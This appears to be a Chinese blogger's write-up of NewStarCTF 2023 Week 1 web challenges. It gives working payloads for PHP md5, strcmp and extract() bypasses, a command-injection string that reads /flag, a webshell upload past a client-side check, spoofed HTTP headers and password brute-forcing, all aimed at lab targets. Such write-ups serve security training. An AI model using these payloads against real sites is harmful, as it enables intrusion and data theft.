【Web】NewStarCTF Week1 个人复现

目录

①泄露的秘密

[②Begin of Upload](#②Begin of Upload)

[③Begin of HTTP](#③Begin of HTTP)

④ErrorFlask

[⑤Begin of PHP](#⑤Begin of PHP)

⑥R!C!E!

⑦EasyLogin


①泄露的秘密

盲猜/robots.txt,访问得到flag前半部分

第二个没试出来,老老实实拿dirsearch扫吧

访问/www.zip

下载附件,拿到第二部分

flag:

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

②Begin of Upload

随便上传一个php文件

发现有前端限制

禁一手js

继续上传

成功传马,直接rce即可,下略

③Begin of HTTP

常规的题,不多解释

复制代码
POST /?ctf=1 HTTP/1.1
Host: node4.buuoj.cn:28438
User-Agent: NewStarCTF2023
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: power=ctfer
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Referer:newstarctf.com
X-Real-IP: 127.0.0.1

secret=n3wst4rCTF2023g00000d

注意最后的伪造本地请求方式要字典爆破

④ErrorFlask

看标题表述就是搞破坏让flask报错

先正常传俩数字,回显告诉我们不是ssti

传个字母试试

payload:

复制代码
?number1=a&number2=1

成功报错拿到flag

⑤Begin of PHP

贴出源码

复制代码
 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
} 

payload:

?key1[]=1&key2[]=2&key4[]=1&key5=2024.c

key3[]=1&flag5=![]

主要解释下level3和5

level 3利用strcmp传入数组会返回0来绕过

level 5利用extract可以解析并创建变量,来psost一个flag5进去(因为发现源码中没有flag5)。另外对post内容做了限制,不能有字母数字,这里可以传一个![]进去,[]空数组会隐式转换为false,在!取反得到我们要的true

⑥R!C!E!

先是构造md5

(默默掏出工具爆破)

最终payload:

password=114514&e[v.a.l=echo `tac /f*`;

⑦EasyLogin

进来是个登录框

随便注册一个账号登录看看

没什么用,估计得admin登录

提示密码至少6位,尝试爆破6位密码

爆破得密码为000000

登录,发包得到302重定向,在repeater里看即可

相关推荐
用户69371750013843 小时前
Google 正在“收紧侧加载”:陌生 APK 安装或需等待 24 小时
android·前端
蓝帆傲亦3 小时前
Web 前端搜索文字高亮实现方法汇总
前端
用户69371750013843 小时前
Room 3.0:这次不是升级,是重来
android·前端·google
漫随流水4 小时前
旅游推荐系统(view.py)
前端·数据库·python·旅游
踩着两条虫6 小时前
VTJ.PRO 核心架构全公开!从设计稿到代码,揭秘AI智能体如何“听懂人话”
前端·vue.js·ai编程
左左右右左右摇晃6 小时前
计算机网络笔记整理
笔记·计算机网络
不吃西红柿的856 小时前
[职场] 内容运营求职简历范文 #笔记#职场发展
笔记·职场和发展·内容运营
上海云盾-小余6 小时前
游戏盾与应用防护联动:一站式业务安全防御体系搭建指南
安全·游戏
jzlhll1237 小时前
kotlin Flow first() last()总结
开发语言·前端·kotlin
似水明俊德7 小时前
02-C#.Net-反射-学习笔记
开发语言·笔记·学习·c#·.net